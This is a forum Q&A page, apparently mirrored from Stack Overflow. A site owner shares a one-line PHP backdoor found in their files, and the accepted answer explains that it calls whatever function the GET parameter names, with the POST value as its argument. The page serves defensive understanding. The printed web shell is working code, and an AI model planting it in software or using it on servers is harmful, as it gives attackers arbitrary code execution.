doupian6118 2013-10-29 15:45
浏览 83
已采纳

找到黑客留下的代码,但不明白它的作用

I found a line of script left by the hacker in one of my PHP files. And it reads like this:

<?php

($_=@$_GET[2]).@$_($_POST[1]);

?>

Can anyone please give some hints about what this line of code does? Thank you

  • 写回答

3条回答 默认 最新

  • douou9786 2013-10-29 16:27
    关注

    As Reeno already said in a comment, it's like a PHP shell.

    Explanation

    • Store the GET variable with the key '2' in a variable called $_. Due to PHP's nature of weak typing, we do not need quotes around the number.

      $_=@$_GET[2]
      
    • Treat $_ as a callable function name and execute it with $_POST[1] as the first argument.

      @$_($_POST[1])
      

    The @ operators should suppress error logging, see PHP.net: Error Control Operators.

    The concatenation operator between the two statements does actually nothing important. It could be rewritten like this:

    $_=@$_GET[2];
    @$_($_POST[1]);
    

    Use case

    Calling arbitrary functions. I won't mention the specific HTTP headers for a successful attack, but this should be fairly easy for every (web) programmer.

    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论
查看更多回答(2条)

报告相同问题?

悬赏问题

  • ¥15 微信小程序协议怎么写
  • ¥15 c语言怎么用printf(“\b \b”)与getch()实现黑框里写入与删除?
  • ¥20 怎么用dlib库的算法识别小麦病虫害
  • ¥15 华为ensp模拟器中S5700交换机在配置过程中老是反复重启
  • ¥15 java写代码遇到问题,求帮助
  • ¥15 uniapp uview http 如何实现统一的请求异常信息提示?
  • ¥15 有了解d3和topogram.js库的吗?有偿请教
  • ¥100 任意维数的K均值聚类
  • ¥15 stamps做sbas-insar,时序沉降图怎么画
  • ¥15 买了个传感器,根据商家发的代码和步骤使用但是代码报错了不会改,有没有人可以看看